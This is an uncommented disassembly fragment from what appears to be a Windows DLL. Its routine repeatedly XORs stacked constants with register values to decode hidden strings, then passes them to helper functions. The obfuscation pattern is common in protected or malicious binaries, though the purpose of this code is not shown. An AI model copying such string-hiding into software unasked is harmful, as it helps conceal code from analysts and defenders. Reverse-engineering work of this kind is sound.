pxor xmm0, xmmword [rbp + 0xb180]
movdqa xmmword [rbp + 0x850], xmm0
lea rdx, [rbp + 0x850]
lea rcx, [rbp + 0x40f0]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x19c], al
mov byte [rbp + 0x19d], al
movabs rax, 0xfc2e40fdccf53385
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c20], rax
movabs rax, 0x7c9495c971117c87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c28], rax
movabs rax, 0xad4098466149cb23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c30], rax
movabs rax, 0xce45eb2b9d6146cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c38], rax
movabs rax, 0x3baf30ed3c178a75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c40], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2c48], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb900], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb908], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb910], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb918], rax
movabs rax, 0x3baf30ed0152cd11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb920], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb928], rax
vmovdqu ymm0, ymmword [rbp + 0xb900]
vpxor ymm1, ymm0, ymmword [rbp + 0x2c20]
vmovdqa ymmword [rbp + 0x2c20], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2c40]
vpxor xmm2, xmm2, xmmword [rbp + 0xb920]
vmovdqa xmmword [rbp + 0x2c40], xmm2
lea rdx, [rbp + 0x2c20]
lea rcx, [rbp + 0x40d0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x40f0]
lea rcx, [rbp + 0x75b0]
call fcn.1800553f0
mov rsi, rax
lea rdx, [rbp + 0x40d0]
lea rcx, [rbp + 0x7590]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0xa338]
lea rcx, [rbp + 0x7570]
call fcn.180040920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x7550]
call fcn.180041fa0
nop
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 0x9580]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x19e], al
mov byte [rbp + 0x19f], al
movabs rax, 0xe2044fc089d7188b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x860], rax
movabs rax, 0x4dd6a69c2f587a87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x868], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb0e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb0e8], rax
movdqa xmm0, xmmword [rbp + 0x860]
pxor xmm0, xmmword [rbp + 0xb0e0]
movdqa xmmword [rbp + 0x860], xmm0
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x40b0]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x1a0], al
mov byte [rbp + 0x1a1], al
movabs rax, 0xfa3a75fdcbe13385
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xba0], rax
movabs rax, 0x2198feca71096cbc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xba8], rax
movabs rax, 0x936af17e543ee524
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbb0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbb8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc900], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc908], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc910], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc918], rax
vmovdqu ymm0, ymmword [rbp + 0xc900]
vpxor ymm1, ymm0, ymmword [rbp + 0xba0]
vmovdqa ymmword [rbp + 0xba0], ymm1
lea rdx, [rbp + 0xba0]
lea rcx, [rbp + 0x4090]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x7530]
call fcn.1800553f0
mov rsi, rax
lea rdx, [rbp + 0x4090]
lea rcx, [rbp + 0x8d60]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0xa338]
lea rcx, [rbp + 0x7510]
call fcn.180040920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x74f0]
call fcn.180041fa0
nop
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 0x95c0]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x1a2], al
mov byte [rbp + 0x1a3], al
movabs rax, 0xe54d2afbc2d3478c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
movabs rax, 0x4dd6a69c460d1ab3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb0d0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb0d8], rax
movdqa xmm0, xmmword [rbp + 0x320]
pxor xmm0, xmmword [rbp + 0xb0d0]
movdqa xmmword [rbp + 0x320], xmm0
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x4070]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x1a4], al
mov byte [rbp + 0x1a5], al
movabs rax, 0xfa182afbcddf3085
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c60], rax
movabs rax, 0x3b9ceefd561d7dbc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c68], rax
movabs rax, 0xaf509a727629db25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c70], rax
movabs rax, 0xc15ef6389e6132f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c78], rax
movabs rax, 0x69261b431148a43
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c80], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2c88], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb940], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb948], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb950], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb958], rax
movabs rax, 0x3baf30ed0152cd11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb960], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb968], rax
vmovdqu ymm0, ymmword [rbp + 0xb940]
vpxor ymm1, ymm0, ymmword [rbp + 0x2c60]
vmovdqa ymmword [rbp + 0x2c60], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2c80]
vpxor xmm2, xmm2, xmmword [rbp + 0xb960]
vmovdqa xmmword [rbp + 0x2c80], xmm2
lea rdx, [rbp + 0x2c60]
lea rcx, [rbp + 0x4050]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4070]
lea rcx, [rbp + 0x74d0]
call fcn.1800553f0
mov rsi, rax
lea rdx, [rbp + 0x4050]
lea rcx, [rbp + 0x74b0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0xa338]
lea rcx, [rbp + 0x7490]
call fcn.180040920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x7470]
call fcn.180041fa0
nop
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 0x9600]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x1a6], al
mov byte [rbp + 0x1a7], al
movabs rax, 0xe54d2afbc2d3478c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x880], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x888], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb0c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb0c8], rax
movdqa xmm0, xmmword [rbp + 0x880]
pxor xmm0, xmmword [rbp + 0xb0c0]
movdqa xmmword [rbp + 0x880], xmm0
lea rdx, [rbp + 0x880]
lea rcx, [rbp + 0x4030]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x1a8], al
mov byte [rbp + 0x1a9], al
movabs rax, 0xfa182afbcddf3085
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2ca0], rax
movabs rax, 0x3b9ceefd561d7dbc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2ca8], rax
movabs rax, 0x9776f171722adb25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2cb0], rax
movabs rax, 0xce45f63ba1751dcb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2cb8], rax
movabs rcx, 0x3baf30ed0152cd11
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x2cc0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2cc8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb980], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb988], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb990], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb998], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xb9a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb9a8], rax
vmovdqu ymm0, ymmword [rbp + 0xb980]
vpxor ymm1, ymm0, ymmword [rbp + 0x2ca0]
vmovdqa ymmword [rbp + 0x2ca0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2cc0]
vpxor xmm2, xmm2, xmmword [rbp + 0xb9a0]
vmovdqa xmmword [rbp + 0x2cc0], xmm2
lea rdx, [rbp + 0x2ca0]
lea rcx, [rbp + 0x4010]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4030]
lea rcx, [rbp + 0x7450]
call fcn.1800553f0
mov rsi, rax
lea rdx, [rbp + 0x4010]
lea rcx, [rbp + 0x7430]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0xa338]
lea rcx, [rbp + 0x7410]
call fcn.180040920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x73f0]
call fcn.180041fa0
nop
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 0x9640]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x1aa], al
mov byte [rbp + 0x1ab], al
movabs rax, 0xf03e29c0cbf92d8f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb40], rax
movabs rax, 0x70bd95c57a3f7387
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb58], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc920], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc928], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc930], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc938], rax
vmovdqu ymm0, ymmword [rbp + 0xc920]
vpxor ymm1, ymm0, ymmword [rbp + 0xb40]
vmovdqa ymmword [rbp + 0xb40], ymm1
lea rdx, [rbp + 0xb40]
lea rcx, [rbp + 0x3ff0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x1ac], al
mov byte [rbp + 0x1ad], al
movabs rax, 0xee314ff8cced3085
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2ce0], rax
movabs rax, 0x2790cbf8622f63b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2ce8], rax
movabs rax, 0xc801c444523edf22
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2cf0], rax
movabs rax, 0xdc41e83a9d6146cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2cf8], rax
movabs rax, 0xbe977bf661b954b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d00], rax
movabs rax, 0x14225300ef9a1733
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d08], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb9c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb9c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb9d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb9d8], rax
movabs rax, 0x3baf30ed0152cd11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb9e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb9e8], rax
vmovdqu ymm0, ymmword [rbp + 0xb9c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2ce0]
vmovdqa ymmword [rbp + 0x2ce0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2d00]
vpxor xmm2, xmm2, xmmword [rbp + 0xb9e0]
vmovdqa xmmword [rbp + 0x2d00], xmm2
lea rdx, [rbp + 0x2ce0]
lea rcx, [rbp + 0x3fd0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3ff0]
lea rcx, [rbp + 0x73d0]
call fcn.1800553f0
mov rsi, rax
lea rdx, [rbp + 0x3fd0]
lea rcx, [rbp + 0x73b0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0xa338]
lea rcx, [rbp + 0x7390]
call fcn.180040920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x7370]
call fcn.180041fa0
nop
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 0x9680]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x1ae], al
mov byte [rbp + 0x1af], al
movabs rax, 0xb44149c3d5e9228f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x890], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x898], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb0b0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb0b8], rax
movdqa xmm0, xmmword [rbp + 0x890]
pxor xmm0, xmmword [rbp + 0xb0b0]
movdqa xmmword [rbp + 0x890], xmm0
lea rdx, [rbp + 0x890]
lea rcx, [rbp + 0x3fb0]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x1b0], al
mov byte [rbp + 0x1b1], al
movabs rax, 0xff362bc0cb8a3085
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d20], rax
movabs rax, 0xbaee0f87f5c1985
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d28], rax
movabs rax, 0x816eef7f7d18cb1d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d30], rax
movabs rax, 0x9651e930837e2cf2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d38], rax
movabs rax, 0x3baf30ed3c6f9c48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d40], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2d48], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xba40], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xba48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xba50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xba58], rax
movabs rax, 0x3baf30ed0152cd11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xba60], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xba68], rax
vmovdqu ymm0, ymmword [rbp + 0xba40]
vpxor ymm1, ymm0, ymmword [rbp + 0x2d20]
vmovdqa ymmword [rbp + 0x2d20], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2d40]
vpxor xmm2, xmm2, xmmword [rbp + 0xba60]
vmovdqa xmmword [rbp + 0x2d40], xmm2
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x3f90]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3fb0]
lea rcx, [rbp + 0x7350]
call fcn.1800553f0
mov rsi, rax
lea rdx, [rbp + 0x3f90]
lea rcx, [rbp + 0x7330]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0xa338]
lea rcx, [rbp + 0x7310]
call fcn.180040920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x72f0]
call fcn.180041fa0
nop
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 0x96c0]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x1b2], al
mov byte [rbp + 0x1b3], al
movabs rax, 0xb4417ffbd3f12d8b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x8a8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb050], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb058], rax
movdqa xmm0, xmmword [rbp + 0x8a0]
pxor xmm0, xmmword [rbp + 0xb050]
movdqa xmmword [rbp + 0x8a0], xmm0
lea rdx, [rbp + 0x8a0]
lea rcx, [rbp + 0x3f70]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x1b4], al
mov byte [rbp + 0x1b5], al
movabs rax, 0xc70c2bfbffed3d85
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x27e0], rax
movabs rax, 0x1baef0c562377cbc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x27e8], rax
movabs rax, 0x816eef7f643ae124
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x27f0], rax
movabs rax, 0x9651e930837e2cf2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x27f8], rax
movabs rax, 0x3baf30ed3c6f9c48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2800], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2808], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb580], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb588], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb590], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb598], rax
movabs rax, 0x3baf30ed0152cd11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb5a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb5a8], rax
vmovdqu ymm0, ymmword [rbp + 0xb580]
vpxor ymm1, ymm0, ymmword [rbp + 0x27e0]
vmovdqa ymmword [rbp + 0x27e0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2800]
vpxor xmm2, xmm2, xmmword [rbp + 0xb5a0]
vmovdqa xmmword [rbp + 0x2800], xmm2
lea rdx, [rbp + 0x27e0]
lea rcx, [rbp + 0x3f50]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3f70]
lea rcx, [rbp + 0x72d0]
call fcn.1800553f0
mov rsi, rax
lea rdx, [rbp + 0x3f50]
lea rcx, [rbp + 0x72b0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0xa338]
lea rcx, [rbp + 0x7290]
call fcn.180040920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x7270]
call fcn.180041fa0
nop
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 0x9700]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x1b6], al
mov byte [rbp + 0x1b7], al
movabs rax, 0xbd2a5fc3cefd228a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8b0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x8b8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb040], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb048], rax
movdqa xmm0, xmmword [rbp + 0x8b0]
pxor xmm0, xmmword [rbp + 0xb040]
movdqa xmmword [rbp + 0x8b0], xmm0
lea rdx, [rbp + 0x8b0]
lea rcx, [rbp + 0x3f30]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x1b8], al
mov byte [rbp + 0x1b9], al
movabs rax, 0xe52e75fbd3d73385
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d60], rax
movabs rax, 0x26e3f1c5481d6d83
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d68], rax
movabs rax, 0xc801c4445214d41d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d70], rax
movabs rax, 0xdc41e83a9d6146cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d78], rax
movabs rax, 0xbe977bf661b954b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d80], rax
movabs rax, 0x14225300ef9a1733
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d88], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb5c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb5c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb5d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb5d8], rax
movabs rax, 0x3baf30ed0152cd11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb5e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb5e8], rax
vmovdqu ymm0, ymmword [rbp + 0xb5c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2d60]
vmovdqa ymmword [rbp + 0x2d60], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2d80]
vpxor xmm2, xmm2, xmmword [rbp + 0xb5e0]
vmovdqa xmmword [rbp + 0x2d80], xmm2
lea rdx, [rbp + 0x2d60]
lea rcx, [rbp + 0x3f10]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3f30]
lea rcx, [rbp + 0x7250]
call fcn.1800553f0
mov rsi, rax
lea rdx, [rbp + 0x3f10]
lea rcx, [rbp + 0x7230]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0xa338]
lea rcx, [rbp + 0x7210]
call fcn.180040920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x71f0]
call fcn.180041fa0
nop
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 0x9740]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x1ba], al
mov byte [rbp + 0x1bb], al
movabs rax, 0xb42975fdd3f11b8c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x8c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb030], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb038], rax
movdqa xmm0, xmmword [rbp + 0x8c0]
pxor xmm0, xmmword [rbp + 0xb030]
movdqa xmmword [rbp + 0x8c0], xmm0
lea rdx, [rbp + 0x8c0]
lea rcx, [rbp + 0x3ef0]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x1bc], al
mov byte [rbp + 0x1bd], al
movabs rax, 0xe52640c0c2f13085
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x22e0], rax
movabs rax, 0x25b2eef87f5c19b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x22e8], rax
movabs rax, 0x9372c776722ae124
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x22f0], rax
movabs rax, 0xd05dc033906219cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x22f8], rax
movabs rax, 0x6dd75c8e6d1cfe75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2300], rax
movabs rax, 0x7c701649abf17409
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2308], rax
movabs rax, 0xe9ddb3bbeef5956f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2310], rax
movabs rcx, 0x284ee4f6edcbf52c
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x2318], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd480], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd488], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd490], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd498], rax
movabs rax, 0x3baf30ed0152cd11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd4a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xd4a8], rax
movabs rax, 0xe9ddb3bbd3b0d20b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd4b0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xd4b8], rax
vmovdqu ymm0, ymmword [rbp + 0xd480]
vpxor ymm1, ymm0, ymmword [rbp + 0x22e0]
vmovdqa ymmword [rbp + 0x22e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2300]
vpxor ymm1, ymm0, ymmword [rbp + 0xd4a0]
vmovdqa ymmword [rbp + 0x2300], ymm1
lea rdx, [rbp + 0x22e0]
lea rcx, [rbp + 0x3ed0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3ef0]
lea rcx, [rbp + 0x71d0]
call fcn.1800553f0
mov rsi, rax
lea rdx, [rbp + 0x3ed0]
lea rcx, [rbp + 0x71b0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0xa338]
lea rcx, [rbp + 0x7190]
call fcn.180040920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x7170]
call fcn.180041fa0
nop
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 0x9780]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x1be], al
mov byte [rbp + 0x1bf], al
movabs rax, 0xb8105fc3cbf12d8e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8d0], rax
movabs rax, 0x4dd6a69c2f587a84
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb020], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb028], rax
movdqa xmm0, xmmword [rbp + 0x8d0]
pxor xmm0, xmmword [rbp + 0xb020]
movdqa xmmword [rbp + 0x8d0], xmm0
lea rdx, [rbp + 0x8d0]
lea rcx, [rbp + 0x3eb0]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x1c0], al
mov byte [rbp + 0x1c1], al
movabs rax, 0xf92e4ff8c2d73085
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1880], rax
movabs rax, 0x2198feca71547c82
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1888], rax
movabs rax, 0x936af17e543ee524
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1890], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1898], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc940], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc948], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc950], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc958], rax
vmovdqu ymm0, ymmword [rbp + 0xc940]
vpxor ymm1, ymm0, ymmword [rbp + 0x1880]
vmovdqa ymmword [rbp + 0x1880], ymm1
lea rdx, [rbp + 0x1880]
lea rcx, [rbp + 0x3e90]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3eb0]
lea rcx, [rbp + 0x7150]
call fcn.1800553f0
mov rsi, rax
lea rdx, [rbp + 0x3e90]
lea rcx, [rbp + 0x7130]
call fcn.1800553f0
mov rbx, rax
